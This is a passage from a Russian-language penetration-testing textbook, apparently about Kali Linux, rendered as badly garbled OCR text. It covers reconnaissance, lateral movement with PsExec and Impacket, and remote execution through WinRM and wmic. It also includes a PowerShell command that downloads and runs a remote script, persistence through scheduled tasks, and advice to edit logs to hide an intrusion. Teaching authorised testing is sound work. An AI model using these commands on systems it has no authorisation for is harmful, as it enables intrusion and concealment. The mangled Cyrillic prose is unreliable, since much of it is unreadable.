u IP-anpec, u elite ofiHa 3anuch mokadbpiBaeT [P-agpec mouToBoro cepBepa u JIOTUH TTOP-
tana (puc. 3.4).

dnsrecon -d zonetranfer.zone -a

37ech -d — JIOMeH; -a — BBITTOJHUTD TIEPEHOC 30HDI.

SNMP-ycTpoicTBa

IIpocroii nporokon cereBoro ynpasienus (Simple Network Management Protocol),
cokpaiienno SNMP, ucrnionb3yercs A5 perucTpaiuy CeTeBbIX YCTPONUCTB U TIPHU-
JoskeHunii v ynpasiaenusd umu. SNMP MoxHO TPUMEHATH JIJIS1 YAJTeHHON HACTPOUKU
YCTPOUCTB M MPUIOKEHUH, HO, €CIM OCTABUTDH €T0 HE3aIUIIEHHBIM, OH TaK:Ke MO-
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JKeT OBITh UCITOIb30BAH JIUIST U3BJICUEHUsT HHGOPMAINN 06 YKa3aHHbBIX MTPUIOKEHUSX
u ycTpolicTBax. IT1a MHMOPMaIU IPUTOINUTCS U1 JIYUIIIero MOHUMAHUS CETH:

snmpwalk 192.16.1.1 -c PUBLIC

O
I:I -C — 3TO CTpOKa ayTeHTUMhUKaLMKN YCTPOWCTBa.
root@kali: ~ o ® O
dain [lpaska Bwupa Tlowck Tepmunan Cnpaska

Host is up (0.00028s latency).
Nmap scan report for 172.16.54.255.cl.ipnet.ua (172.16.54.255)
Host is up (0.00020s latency).
256 IP addresses (256 hosts up) scanned in 29.77 seconds
recon -d zonetranfer.zone -a

[*] Performing General Enumeration of Domain: zonetranfer.zone
[*] Checking for Zone Transfer for zonetranfer.zone name servers
[*] Resolving SOA Record
[+] S0A demand.alpha.aridns.net.au 37.209.192.7
[*] Resolving NS Records
[-] Could not Resolve NS Records
[#] Removing any duplicate NS server IP Addresses...
[*]
[*] Trying NS server 37.209.192.7
[+] 37.209.192.7 Has port 53 TCP Open
[-]1 Zone Transfer Failed!
[-]1 No answer or RRset not for gname
[*] Checking for Zone Transfer for zonetranfer.zone name servers
[*] Resolving SOA Record
[+] SOA demand.alpha.aridns.net.au 37.209.192.7
[*] Resolving NS Records
[-]1 Could not Resolve NS Records
[*] Removing any duplicate NS server IP Addresses...
[*]

Trying NS server 37.209.192.7

37.209.192.7 Has port 53 TCP Open

Zone Transfer Failed!

No answer or RRset not for gname

A timeout error occurred please make sure you can reach the target DNS Serve

directly and requests are not being filtered. Increase the timeout from 3.0
second

Puc. 3.4. MNMepeaaya 30HbI DNS ¢ nomolbto koMmanabl dnsrecon -d zonetranfer.zone -a

3axBaT NakeToB

3axBar MaKeToB, MePeaBaeMbIX MEK/LY ABYMST XOCTAMU, MOJKET OBITh OUEHb TT0JIE3EH MTPU
JIMarHOCTHKE CETEBBIX TPOOJIEM, TPOBEPKE YUETHBIX JAHHBIX HJIH, €CJIH BaM HPABUTCS
CMOTpeTh Ha Ipoberaroiinii TpaduK, 11 Pa3BIeYeHIs.
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tepdump. Ito yTHIINTA, KOTOPast 3aMyCKAETCsT U3 KOMAH/IHO CTPOKHU U TIpeIHA3HA-
YyeHa JIJ1s IIPOCJIyIIUBaHMS OIIPe/ieIeHHBIX TUIIOB TpaduKa U 1epeaBaeMbIX JaHHBIX.
PaccmorpuMm ee napameTpsr:
-i ethe — BbIOOD MHTEpdeEiica s TPOCIYIIIHBAHYIS;
port 890 — BbI60p nmopTa JIJrsd IPOCJayIINBaHWI,
host 172.16.1.1 — TOJIBKO c6op Tpaduka, UAYIIEro OT XOCTa,/K HEMY;
src — JJaHHbIe IIPUXOJAT OT XOCTa;
dst — maHHBIE YT K XOCTY,

00000 DO

-woutput.pcap — 3axBaT TpaduKa 1 cOXpaHeHHe eTo B (haiijie Ha TUCKe.

Wireshark. Yrumura ¢ rpapmaecknm nnrepdeiicom, ncmob3yeMast AJ1sl IPOCIYIII-
BaHus Tpadrka Ha posoze (puc. 3.5):
A ip.addr/ip.dst/ip.src==172.16.1.1;
O tcp.port/tcp.dstport/tcp.srcport == 89;
U udp.port/udp.dstport/udp.srcport ==53.

Capturing from ethQ oo
Flle Edit View Go Capture Analyze Statistics Telephony Wireless Toels Help

(@ BMORE X s> aww_|JFaaaif

[A]Apply a display filter ... <Ctri-f> &3 -] Expression..  +

Mo, Time Source Destinati Protocol  Length Info - !:
11092 32.190239405 02.144.192.7 10.0.2.15 TCP 1502 80 — S@780 [FSH, ACK] Seq=24640617 Ack=1 Nin=5;
11093 32.190272703 10.0.2.15 B2.144.192.7 TCP 54 56780 - 80 [ACK] Seq=1 Ack=24642065 Win=65535 L
11094 32.190882370 02.144.192.7 10.0.2.15 TCP 1502 80 — 50780 [PSH, ACK] Seq=24642065 Ack=1 Nin=5;
11095 32.190906705 10.0.2.15 B62.144.192.7 TCP 54 50780 — 80 [ACK] Seq=1 Ack=24643513 Win=65535 L
11096 32.192134324 02.144.192.7 10.0.2.15 TCP 1502 80 — 50780 [PSH, ACK] Seq=24643513 Ack=1 Nin=5i_

4] 1|

v Frame 1: 16398 bytes on wire (131184 hits), 16398 hytes captured (131184 bits) on interface @

v Ethernet II, Src: RealtekU_12:35:092 (52:54:00:12:35:02), Dst: PcsCompu_B2:b4:a7 (00:99:27:82:ba:ar)
+ Internet Protocol Version 4, Src: 82.144.192.7, Dst: 10.0.2.15

» Transmission Control Protecol, Src Port: 86, Dst Port: 50780, Seq: 1, Ack: 1, Len: 16344

0800 [EEREE § 52 54 00 12 35 62 08 60 45 60 | RT -5 -E- |=
BE1E 4B BB 389 1c BB BB 4B BGE e3 35 HZ 8B cB BY Ba BB B cBHe-

o020 02 of 00 50 c6 S5c 20 e 6c 35 2e c6 e6 50 50 18 ...P.\ . 15...PP- §
2030 ff ff Sc 99 80 86 ¢3 bd Bc 69 ve dd dl be la ch AL . deevnnn

BE4AD 58 foc BR Be 1c B? BE G7 27 5H e1 Be 1c B¢ D6 Be Yesaaas [+ I S |
0050 9d 51 ci 53 39 2d 2b dc c©3 Of c3 3f 65 11 Al 18 -Q-59-+- .. -PE..- |
G060 b5 di 17 15 14 87 51 ce 6&f al 69 fe 92 79 88 99 ...... Q- ooy

pEvE  ff 5h 3b BB ad 16 86 52 d6 41 27 db 9e a? 7B 789 fioo R A ) i,
@ ¥  ethO: <live capture In progress> Packets: 11096 - Displayed: 11096 (100.0%)  Profile: Default

Puc. 3.5. MNpaduueckas ytunuta Wireshark

MNony4yeHne pgocrtyna

VmenHo Ha 3TOM aTale UCTIBITATE N HAa IPOHUKHOBEHME TTBITAIOTCS 3aKPEMUTHCST BO BHY-
TPEHHell ceTH KOMIIaHWUI. B HacTosmee BpeMs 1iesieBoi (hUIIMHT (HalrpaBieHHAsI aTaka
Ha Balllil IePCOHAJIBHbIE JIaHHbIE) — OUeHb PACITPOCTPAHEHHBIN 1 9(h(heKTUBHBII CTIOCOO
JOCTIReHUs Tiei. [IpOTUB OpraHu3aIluni MOKET OBITh HAYaTa XOPOIIO MPOLYMaHHASI
KaMITaHUsI TI0 T[eJIeBOMY (DUIIIHTY ¢ XOPOIIO pazpabOTaHHBIM CIIEHAPUEM, OCHOBAHHBIM
Ha uHMOpMaIuu, coOpaHHO paHee, HA ATaTle PA3BEIKU.
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[TosrydyeHune T0CTyIa MOKET TaKKe BKJI0YATh UCIIOJIb30BaHUE IKCILIONTOB/yYeTHBIX
JIAHHBIX B YQJeHHON cJryKGe /s BXOZIa B CUCTEMY ¥ TIOCJIE/YIOIIET0 BbITIOJIHEH ST T10-
JIE3HBIX JIJIsI UCCIIE/IOBATEIs HATPY3OK.

B aTOM Bam MOryT nmomoub uncrpymentsl Metasploit u PowerShell Empire, mo-
CKOJIbKY 00a CO3/IAI0T T10JI€3HbIE HAIPY3KH, TAK/Ke U3BECTHBIE Kak aTalibl. [Tocie 3amycka
OJIE3HON HATPY3KHU Ha 11eJIEBOM 0OBEKTE IIPOIECC BBIIOJIHAETCA B TaMATH. [[puMeHeHme
TaKOrO CTUJISI TIO3BOJISIET OCTABJATH OY€Hb MaJIO YJIHK. J[pyroil BapuaHT — nepeiada
GurapHOTO (hailia B yIaJeHHYI0 CUCTEMY U €0 BBIIIOJHEHKEe 13 KOMAHIHON CTPOKH,
4TO TaKKe MOKeT ObITh dphexTuBHbIM. JlaHHbIN 1T0X0/1 OBICTPEE, U ero YCIEITHOE Bbi-
[OJIHEHUE He 3aBUCUT OT 3arpy3Ku yepes3 VIHTepHer.

DKCNNIOUT

WMuorgaa TecTUPOBIIMK HAXOAUT CEPBUCHI, KOTOPbIE MOKHO OYIET MCII0Ib30BATh.
IKCILIOUT MOJKET TIOCJIYKUTh CPEJICTBOM IIEPBOHAYANBHOTO JocTyna. Bam nuinb
HeoOXxoauMo yoeauThes, 4To 9T0 cpeAcTBo HazexHo Ha 100 %. Ho ciemyer yuects,
4TO HEOAHOKDPATHBII 3aIlyCK SKCILIONTA MOKET IPUBECTH K cOO0I0 B pPabOTe CHCTEMBIL
ITy OMIUIO HY’KHO UCII0JIb30BaTh OYEHb OCTOPOXKHO M TOJIBKO B TOM CJIy4ae, eCJii Bbl
ee MPOTECTUPOBAJIU U 3HAETE, UTO C HEH JIeIaTh.

KCMIoMTOM MOXKET 6biTb SSH! Mo KpaliHel Mepe st HUKOrAa He BUAEN, YTOObI
3a npeaenamu telnet ncnonb3oBanack apyras cnyxb6a.

SkcnnonT ang Linux

IKCImoiThl Linux 06bIYHO HAIlEIEHbI HE Ha caMy OIIePAIHOHHYI0 CUCTEMY, a Ha pabo-
TafIne B Hell cirys:kObl. Hike MpUBEICH CITUCOK PaCIIPOCTPAHEHHBIX IKCILITOUTOB JIJIsT
Linux:

a CVE-2018-1111;
O Red Hat Linux DHCP Client Found Vulnerable to Command Injection Attacks;
a CVE-2017-7494.

Skcnnont ang Windows

Ikcrtoiitbl Windows 00bIYHO HalleleHbl Ha IIPOCYIIMBAHNE COYKO olepaiiioOHHOM
cucreMbl. BoT cricok, npeaHasHaueHHbIi st ciayxk6br SMB, koTopast paboTaer Ha
nopre 445 Windows:

O Eternalblue — MS17-010;

Q MS08-67;

a MS03-026.

Huxe TIpUBEAEHDBI HEKOTOPbIE NMHCTPYMEHTDI, HaCTO NCIOJJIb3yEMbI€ UCITbITATEC/IAMN
Ha IIPOHNKHOBEHHE.
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PsExec — uncrpymenT us Habopa Sysinternals. OH ucobayercst 1 yaaJeHHOro
VIIPaBJIeHUs U TIOIYJISIPEH CPEeU UCIbITaTeNell Ha MPOHUKHOBEHNE, CUCTEMHBIX a/[MH-
HUCTPATOPOB U XaKEePOB.

Bunaphbiii daiin PsExec 00bI4HO KOUpYeTCs B OOILYIO HANKy $admin Ha KOMIIbIO-
Tepe, a 3aTeM UCIOJIb3YeT YaJIeHHOE YIIPABJICHNE /TSI CO3/IaHusl CIIyKObI Ha y/IaleH-
HOM KoMIibiorepe. ViMeiite B Buay, uto PsExec Ha ypanenHoii Maiute Tpebyer 1pas
A/IMIHUCTPATOPA.

1. Cxkauaiire Sysinternals.

2. 3amycrure KoMaHAHYIO cTpoKy PowerShell.

3. C nomoiibio KoMaH/bI cd <Sysinternals directorys> co3jaiiTe KaTajor Sysinternals.
4. Beenute .\PSexec \\<IP-adpec ydaneHHOU MauuHsl> -U <nosab306amesb> -p <ndposis>

<cmd>.

Ha puc. 3.6 nokasaH 1mosy4eHHbIH OTBET.

PS C:\Users\Sherlock Holmes)\Desktop\SysinternalsSuites .\PsExec.exe \)10.50.100.142 -u student powershell

emotely

Password:

Windows Powershell 5 :
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\WINDOWS\system32> Get-date

e-ae
Tuesday, May 1, 20108 11:56:14 PM

Puc. 3.6. OTBET Ha BBeAEHHYIO KOMaHAy

Impacket — xosnexius ypokos Python mist paGoThl ¢ ceTeBbIME IPOTOKOIAMMU.
ITepBoHayaibHast HACTPOMKA BBIIIOJHAETCS CJEAYIOLIMM 00Pa3oM:
1. OTkpoliTe TepMUHAIL.
Bsenure cd /tmp.
Beenute git clone https://github.com/CoreSecurity/impacket.git.

W N

Bsenure pip install.

[ls Briodenust PSexec, WMI u SMBexec B Impacket ucrosbayiite ciaepyrorie
KOMAH/IbI.

O PSexec:
psexec.py <umA_nosnb3oB8amena>:<napoab>@<ip-adpec> powershell

OrtBeT Ha KOMaH/y TIOKa3aH Ha puc. 3.7.
Q WMI:

wmiexec.py <ums_nonv3oB8amens>:<naponb>@<ip-adpec> powershell
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root@KalilinuxVM:~/impacket# psexec.py student@l0.86.100.142 powershell
Impacket v0.9.17-dev - Copyright 2002-2018 Core Security Technologies

Password:

[*] Requesting shares on 10.86.100.142

[#] Found writable share ADMINS

[#] Upluoading (ile mPlEudBY.exe

L*] Opening SVCManager on 10.80.100.142

[#] Creating service pwhM on 10.80.100.142

[*] Starting service pwhM

[!] Press help for extra shell commands

Windows PowerShell

Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\WINDOWS\system32> Get-Date
Get-Date

Wednesday, May 2, 2018 12:03:37 AM

PS C:\WINDOWS\system32> [

Puc. 3.7. OtBeT Ha KOMaHAy psexec.py
Ha puc. 3.8 mokaszan oTBeT Ha BBEJIEHHYIO KOMAH]LY.

root@KalilinuxVM:-# wmiexec.py student@l0.80.100.141
Impacket v0.9.17-dev - Copyright 2002-2018 Core Security Technologies

Password:

[*] SMBv3.0 dialect used

[!] Launching semi-interactive shell - Careful what you execute
[!1 Press help for extra shell commands

C:\{ ]

Puc. 3.8. OTBeT Ha KOMaHAy wmiexec.py

Q SMBexec:

smbexec.py <umsa_noas3oB8amens>:<napons>@<ip-adpec>

OrtBeT HAa KOMaH/y TIoOKa3aH Ha puc. 3.9.

roo iLinuxVM:-# smbexec.py student@l©.80.100.141
Impackel v0.9.17-dev - Copyrighl 2002-2018 Core Securily Technologies

Password:

[1] Launching semi-interactive shell - Careful what you execute
C:\WINDOWS\sys tem32>D

Puc. 3.9. OtBeT Ha koMaHay smbexec.py
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Q PS-Remoting. YTo0s! 3amyctuth PS-Remoting Ha 1ieJIeBOM KOMIIBIOTEPE, BBIIIOJI-
HUTE CJIe/lyIONINe JIeCTBUSI:

1) orkpoiiTe Ha I[eJIEBOM KOMIIbIOTEPE OT UMeHM afmutuctparopa PowerShell;

2) BBeauTeE caenyoree: powershell -NoProfile -ExecutionPolicy Bypass -Command
"iex ((new-object net.webclient).DownloadString( 'https://raw.githu-
busercontent.co /ansible/ansible/devel/examples/scripts/ConfigureR-
emotingForAn sible.psl'))";

3) Bruounte PSRemoting;

4) BBexuTe winrm set winrm/config/client/auth '@{Basic="true"}";

5) BBeanTE winrm set winrm/config/service/auth '@{Basic="true"}'

6) BBemuTe winrm set winrm/config/service '@{AllowUnencrypted="true"}'

YTo0Bl BKIIOUNTD Ha IleJeBoil MamuHe PS-Remoting, BHIIOJHUTE CIIeAyIONIIE
JIeNCTBU:

1) orkpoiite PowerShell;
2) BBenuTe $options=New-PSSessionOption -SkipCACheck -SkipCNCheck;

3) BBenuTe $cred = Get-Credential. Bam GyjaeT NpeisioskeHO BBECTH yUETHbIE
JIAHHBIE;

4) BBeuTe Enter-PSSession -ComputerName <umsa_xocma> -UseSSL -SessionOption
$options -Credential $cred.

Ha puc. 3.10 BbI yBuANTE HOAPOOHDIIT OTBET Ha BBEAEHHYIO KOMAHILY.

Ps C:\> Soptwna rle\\'-PSSess‘lonOptwn
P5 C:\> Scred = Get-Credential

cmdlet Get-Credential at command pipeline position 1

Supply values for the following parameters:

Credential

PS C:\> Enter-PSSession -Comy e 172.16.17.145 - L -Sessic n Soptions -Cr ial $cred
[172.16.17.145]: PS5 C: \U;er;\sher Tock Holmes\Document

Windows IP Configuration

Ethernet adapter Ethernet0:

Connection-specitic DNS Suffix . : localdomain

Link-lacal IPv6 Address fe80::103f:alfe:34cd:a900%6
IPvd Address. . . . « « « « & & & 172.16.17.145

Subnet Mask . . . . . - 255.255.0

Default Gateway . . . 172.16.17.2

Ethernet adapter Bluetooth Network Connection:

Media State . . . : Media disconnected
Cnnnectwn-.penﬁc DNS Suffix -

Tunnel adapter Teredo Tunneling Pseudo-Interface:

Connection-specitic DNS Suffix :
IPv6 Address. . . 2001:0:4137:9e76:28de:3d40:53ef :eebe
Link-Tocal IPvé Address . . . . . feoo::zsde 3d40:53ef :eebe%7
Default Gateway . .
[172.16.17.145]: PS C: \Users\Sher‘TucL HD'Imes\Documents,

Puc. 3.10. Peakums Ha koMaHay Enter-PSSession
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[Tomo6GHBIM 06pa3OM MbI Takke MOKeM BKI0unTh WMI Ha yzajeHHOM IeIeBOM
komtbiotepe WMI 1151 octyna k ypanennoit mesu. [[yig aToro 3amycrture ot UMEHU
agmunuctparopa PowerShell u BbimosinuTe ceyontyio KoMaHjy:

netsh firewall set service RemoteAdmin enable

Yro6sr ucronbzoBaTh WMI 171st 10Ty K YAATEHHOMY TIETIEBOMY 0OBEKTY, BBEIUTE
CJIeLyIOIYI0 KOMaH/LY:

wmic /node:<target IP addr> /user:<username> process call create "cmd.exe /c
<command>"

Ha sxpane nogButcst OTBET HA Hee B BUJIE CJeYIONUX JaHHbIX (puc. 3.11).

PS C:\Users\Sherlock Holmes> wmic /node:172.16.17.145 fuser:testuser process call create "c
Enter the password :**ss*sssex=x

Executing (Win32_Process)->Create()
Method execution successful.

Out Parameters:

}nstance of _PARAMETERS

ProcessId = 6920;
ReturnValue =
Ii

P5 C:\Users\Sherlock Holmes>

Puc. 3.11. OTBeT Ha KOMaHAy wmic/node

MoBbILLEHWE NPUBUNEMUIA

I[Tocsie TOTyYeHUsT JOCTYTIA K [IeJIEBON MalliHe Y Bac Oy/leT HU3KUH yPOBEHb IPUBILIIE-
ruil. YUuThiBast, 4To 3aj1a4a JIoO0TO UCTIBITAHUS Ha TPOHUKHOBEHUE COCTOUT B UMUTA-
[[UH PeaJIbHOI aTaku, KOTOpas BKJIUYAeT B ceOst MOMCK KOH(DUIEHIIMaIbHOU nH(pOpMa-
L1, XPAHSIIIEHCs Ha cepBepax ¢ OrPaHUYEHHBIM JIOCTYIIOM, UCIIBITATE0 HYKHO Oy1er
HaiTH CII0COOBI MOBBICUTH CBOM TIPUBIIETHL.

MNoaaep>xaHwe aocTyna

[Tocsie ycTaHOBKH OTIOPHON TOYKHU (TO €CTh MOJYUEHUS YIATEHHOTO JOCTYIIA) TIPY BbI-
X0/Ie [10JIb30BaTeIs 13 CHUCTEMbI WJIU Iiepe3arpyske KOMIIbIoTePa ee MOKHO ObICTPO yia-
auTh. Touka onopvL — 3T0 MECTO TIOCTOSTHHOTO JOCTYIIA U BXO/A. Y CTAHOBUTH €€ MOKHO
HECKOJIbKUMH criocobamu. Hamrydmeii crparerneii mopaepskanmst IOCTOSHHOTO JOCTYIIA
SBJISIETCS OJHOBPEMEHHOE UCIIOIb30BaHNe HECKOIbKUX MeTon0B. Hanpumep, nobasbre
3anacHoli Bxoj1 (dropbox) B ceTb, K KOTOPOMY 11037K€ MOKHO OY/IET HOJIYYUTh AOCTYII IIPU
HaInauu GECIIPOBOHOTO MOAKIII0UEH s, BoJiee XUTPbIil C10c00 MO IepsKaHUST TOCTYTIA
COCTOUT B HACTPOIKe 3aIIAHNPOBAHHON 33/[au¥ HA B3JIOMAaHHOU MalllHE, KOT/A 3aITyCK
MIPOUCXOJIUT TIPU TIepe3arpysKe, MocJie 4ero 3aj1ada mepuoindeckn BITIOJHSETCS, Ha-
TIpUMep OAWH pa3 B ieHb (puc. 3.12).
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(D GoogleUpda... Ready Multiple tnggers detined
(® GoogleUpda... Ready At 10:19 every day - After triggered, repeat
(® gpupdate Ready At 16:25 every day

< | |

| General I Triggers | Actions | Conditions | Settings | History {(disabled)

When you create a task, you must specify the action that will occur
Properties command.

Action Details
Start a program PowerShell Agpupdate.psl

Puc. 3.12. Bo3MOXHble TOYKM AOCTyNa

3aMeTaHue cnenos

Elie pas orMeTHM, UTO BCe Ballld AeHCTBIS, HECMOTPSI HU Ha YTO, JOJIKHBI OBITh CaHK-
IIUOHUPOBAHBI KJIMeHTOM. Ho 9TO He 03HavaeT, 4To M0 OKOHYAHUU TIPOBEPOYHOTO TTHK-
Jia, BKJIIOUAKONIEro B cebst CKaHUPOBaHKe U 9KCILIYaTALlUIO, UCIIBITaTeb UAET JOMOIL.
Heo6x0a1M0 cOCTaBUTh OTYET U NIPEACTABUTD PE3YJIbTAThI B IOHSTHOM /IS 3aKa3YnKa
(opme. Ho npeskzie ueM IprUCTYIUTD K COCTABJIEHUIO OTYETA, HAM HY>KHO OYMCTUTD 9KC-
IJIOWTBI M YIAINTh MHCTPYMEHTBI, OCTaBJIeHHbIE B paboueil cpeje. ITO MOKET 03HAYATh
yaJIeHe UCTIOJIHSIEMbIX (DAlIoB U pelakTUPOBAHUE JKYPHAJIOB. 1 TOBOPIO «pe/laKTH-
POBaHUE», TIOTOMY YTO JIDOOH CUCTEMHBIN aIMUHICTPATOP 06S3aTeIbHO JOJIKEH TIPO-
CMaTpUBaTh )KypHAJIbI. VIHaYe OH MOXKET MPoIyCcTUTh aTaky. [lockobKy oneparuonHbie
cucrembl Windows 1 Linux uMeioT BCTPOEHHbIE MOIIHbIE CPEACTBA BEAECHUS U JOKY-
MEHTHPOBAHUSI KYPHAIOB COOBITU, IPOUCXOASIIIX B OIIEPALMOHHON CHCTEME, O HIX
MBI paccKasbiBaTh He OyaeM. S npezsarar BaM OTCIEKUBATh BHOCHMbIE U3MEHEHMS
Y TBOPYECKH PEAAKTUPOBATH JKyPHAJIbI, KOT/Ia BAM HY;KHO YTO-TO CKPbITh. Mcmomb3yiite
MMeHa CUCTEMHBIX CJIY K0 MM MMeHa 110JIb30BaTe Ieid, KOTOPbIE MOAXOIAT /I YIeTHBIX
3anuceii. Hampumep, He mpucBanBalitTe yueTHOH 3anvc nmMs EliteHAK3R.

CocTaBneHue oTtyeTa

Tenepb MbI TOAXOANM K (PUHATIBHON 1, BO3MOKHO, CAMON CKYYHOI 4aCTH HAIIETO TeCTa.
OjHaKo, ecJiv BbI CJIEA0BAIH TIPEABIIYIIIAM 9TAIlaM, OTYETHOCTD HE J0JKHA GBITh CITOMK-
HOM M yTOMUTEIBHO. S TIBITAIOCh ZIesIaTh 3aMETKHU JIJIS1 0T4eTa 10 Mepe ITPOXOKIACHU
TECTa ¥ 3alKCHIBAIO TIPOMEKYTOUHBIE PE3YIbTATHI M Ha OGyMare, UK ¢ TIOMOIIHIO
Berpoennoro B Kali macrpymenta Dradis, KOTOpBIi BbI3bIBacTCSA KOMaHo# dradis
start. meiiTe B BUIY, 4TO 9T0 BeH-cepBUC, MOITOMY JII060# YemoBek Ha 3eMie,
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3aiind 1o azpecy https://IP of kali machine: 3004, CMOKeT MOJYYUTh K HEMY JIOCTYII.
[Tpu epBoM ke 3amycke Dradis Bam 6y/ieT mpeiiosxkeHo YCTAHOBUTD TIAPOJTb.

Dradis nossosster ummopruposats daiiibl 13 Nmap, NESSUS, NEXPOSE u nexoro-
PBIX IPYTUX TEKCTOBBIX PEJJAKTOPOB. ITO Ja€T BO3MOKHOCTD JIeJIaTh 3aMETKU HE TOJILKO
BaM, HO U BAIlIUM KoJuIeraMm mpu KoMasHoi pabore. C momornpsio Dradis Bel Moskere
JIETKO 0OMEHUBAThCsT MH(OPMAITUEH ¢ TOBAPHIAMHU O KOMaH/Ie U (DUKCHPOBATH CaMble
CBEXKUE Pe3yJIbTaTbl CKAHUPOBAHUA.

Pe3tome

JTa TJ1aBa MO3HAKOMUJIA BAC C PA3JIUNYHBIMUA METOAMU UCITBITAHUS HA TPOHUKHOBEHUE.
[TosryyeHHble 3HAHKS BBl MOJKETE UCIIOJIb30BATh, YTOOBI CIJIAHKPOBATDH TECT U OIPE/Ie-
JIUTH 00J1aCTH 711 IPOBEPKHU Ha IIPOHUKHOBEHNE. B ciieyIomeii I1aBe Mbl pacCMOTPUM,
KaK, UCII0JIb3YsI HE TOJIBKO IIACCUBHBIE, HO U AKTUBHbIE METO/IbI, 0OHAPYKUTH 1 cOOPaTh
nH(MOPMAITHUIO O 11eJIEBOI CPEeJIe U CaMOii TeJH.



[lonlyyeHne oTneyaTtka
n c6op MHMopMaLmn

B a10ii raBe Mbl 06cy M aTarn cbopa nHGOPMAIMU O TECTUPOBAHUHN HA TIPOHUKHOBE-
Hrie. Mbl OIUIIEM OITpe/ieJieHue TIeIn ¥ HeoOX0AMMOCTh chopa nHhOpMAaI, a TaksKe
PacCMOTPUM HECKOJILKO MHCTPYMEHTOB, npucyTeTByonux B Kali Linux, koTopbie MOsK-
HO MCTIOJB30BATh Uit c6opa uHhopMaruu. Mbl HajieeMcst, 4To TOCJIe MPOYTEHUS ITOi
[JIaBbI BBI JIydliie moiiMere hasy cbopa nHhOpMAIUK U CMOJKETE BO BPEMsT TECTHPOBAHYST
Ha IPOHUKHOBEHHUE cOOPaTh HEOOXOANMbIE CBEIECHMUSI.

Kax yske ynmomuHanoch B riase 3, c6op HHGOPMAIMK SIBJISIETCA BTOPBIM ITATIOM
polecca TeCTUPOBaHKs Ha TIPOHUKHOBeHHe. Ha aTom artane Mbl cTapaeMcst cobpaTh
KaK MOKHO 00J1bIite HH(MOPMAIIUY O [eJIH, HATPUMEP UMEHA XOCTOB CUCTNEMbL OOMEHHBIX
umen (DNS), IP-agpeca, KOHOUTYPAITMIO CUCTEMBI U UCIIOJIb3YEMbIE TEXHOJIOTUH, UMSI
[10JIb30BATEJISI UJIU OPTAHU3AIMI. DTO JOKYMEHTBI, KOJbI IIPIIOKEHUH, NHMOPMAITHS
o cbpoce maposist, KoHTakTHas nHopManus u T. 1. Bo Bpems cbopa sobast mosryueHHast
UHOOPMAIIHS CIUTAETCST BAKHOIA.

C6op undopmaImm, B 3aBUCUMOCTH OT UCIIOJIb3YEMOTr0 METO/[a, MOXKHO Pa3JIeuTh
Ha [[BA TUIIA: AKTUBHBIN 1 TTACCUBHBIN. AKTUBHBII METOJL 1TpeycMaTpuBaet coop nudop-
MAIlMK ¢ TIOMOIIIbIO TIPOCIyIIUBaHUsI TpaduKa 1esieBoit cetu. [Ipu maccuBHoM MeTozE
MBI [IOJIb3YEMCsI YCIIyTaMy TPEThel CTOPOHBI, HAITPUMEP TIOUCKOBOH cucteMbl Google.
Ho 06 9T0M 1OroBOpUM TO3XKe.

MOMHUTE, YTO HU OAMH U3 METOAOB HE MMEET MPeVMyLLECTBa. Y KaXAoro
€CTb CBOM AOCTOMHCTBA M HefoCTaTku. Mpy NacCMBHOM CKaHMPOBAHWUM Bl
cobupaeTe MeHblle MHOpMaLIMK, HO BCe BallM AeiCTBUS ByayT He3aMeT-
HbIMU. Vicnonb3ys akTUBHbIA MeToz cbopa, Bbl nonyunTe 6onbLue nHdopma-
LMK, HO BalUM AENCTBUSI MOTYT BbITb OTCMIEXEHBI U NepexBayeHsl. Bo Bpems
COCTaB/IEHWsI MPOEKTa TecTa Ha MPOHUKHOBEHWE, YToBbl cobpaTb Gonblue
[aHHbIX, 3TOT 3Tarn MOXET 6bITb BbIMOIHEH HECKOJIbKO pas. Bbl Takoke MoXeTe
06CyanTb C BaLUKMM KIIMEHTOM, KaKoW METOZ OH MPeanoyTeT.

B ar1oii ri1aBe, 4T00bI OIYYUTh GOJIee MOJTHOE IPeCTaBIeHNe O LeJId, Mbl OyeM Hc-
[10JIb30BATh KaK I1ACCUBHbIE, TAK ¥ aKTUBHBIE METO/bI cOOpa MH(MOPMAIIIH.
B a710ii ri1aBe Mbl 00CYIMM CJIEAYIOIINAE TEMBI.

O OOMIenoCTyITHbIE CANTDI, KOTOPBIE MOXKHO MCTIOIB30BATD IS cOopa uHbOopMaIIn
0 T[eJIEBOM JIOMEHE.
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O Mudopmarnus o perucTpariy J0MeHa.
O Amnamms DNS.

Q Wudopmarms o MmapuipyrTe.

O WMcnosb3oBaHMe TTONCKOBOM CUCTEMBI.

Pa3Begka no OTKPbITbIM UICTOYHUKAM

OIHUM 13 KJIIOYEBBIX TEPMUHOB, CBA3AHHBIX CO cOOPOM UHMDOPMAIN, ABJIAETC PA3-
gedka no omxpvimuim ucmounuxam — Open Source Intelligence (OSINT). BoeHubie
Y pa3Be/ibIBATEIbHBIC OPTAHU3AINY JIEAT CBOU Pa3Be/lbIBATEIbHbIEe MCTOUHUKH Ha
pasnnunbie TUbl. HacTogmnuil mmuonak, mpeanosaraonnii B3auMoieiicTBue aret-
TOB, YACTO HA3BIBAIOT Aar€HTYPHOU JiesitesibHOCThI0 — Human Intelligence (HUMINT).
3axBaT pa[MOCUTHATA C [eJIBI0 B3JIOMA Iin(dpa Ha3bIBAETCS PAAUOPa3BeAKOl — Signals
Intelligence (SIGINT). Ho ucnbitareb Ha MIPOHUKHOBEHUE BPSIJL I BOCIIOJIb3YETCSI
onuuM u3 nepeunciaeHubix MetooB OSINT. OSINT — ato nundopmarys, nosydeHnas
U3 UCTOYHUKOB, HE 3AIUIIEHHBIX CPEACTBAMEI KOHTPOJISI GE30TACHOCTH. DTU CPEICTBA
KOHTPOJIS TOJIKHBI TIPENATCTBOBATL yTeuke nngopMmaiun. Hepenko ato cBejenus ns
nyOIMUHBIX 3anuceit uian nH(OpMAaIus, KOTOPOil 1ieJieBble OPraHu3aIiii OOMEHUBAIOTCSE
TIpU CBOEH MOBCETHEBHON 1€ TEIHbHOCTH.

Jl1s IOKMCKa 1 OJIyYeHusI 9TOM, Ge3yCI0BHO, M0J1e3H0I NH(GOPMAINY MCIIBITATEIO
Ha MPOHUKHOBEHUE MOTPEOYIOTCS ClIelnaibHble 3HAHUSA U WHCTPYMEHTBI. [TpogoKkn-
TEJBHOCTD 3Tara cOopa B 3HAYMTENHHO CTEIIEHN 3aBUCUT OT YK€ MOJTyYEHHBIX JaHHDIX.
Kpowme Tor0, MoKasbiBasd myTH yTeuku MHGOPMAITUHT, MBI MOSKEM TIOHSTD, KaK1e ICHCTBUS
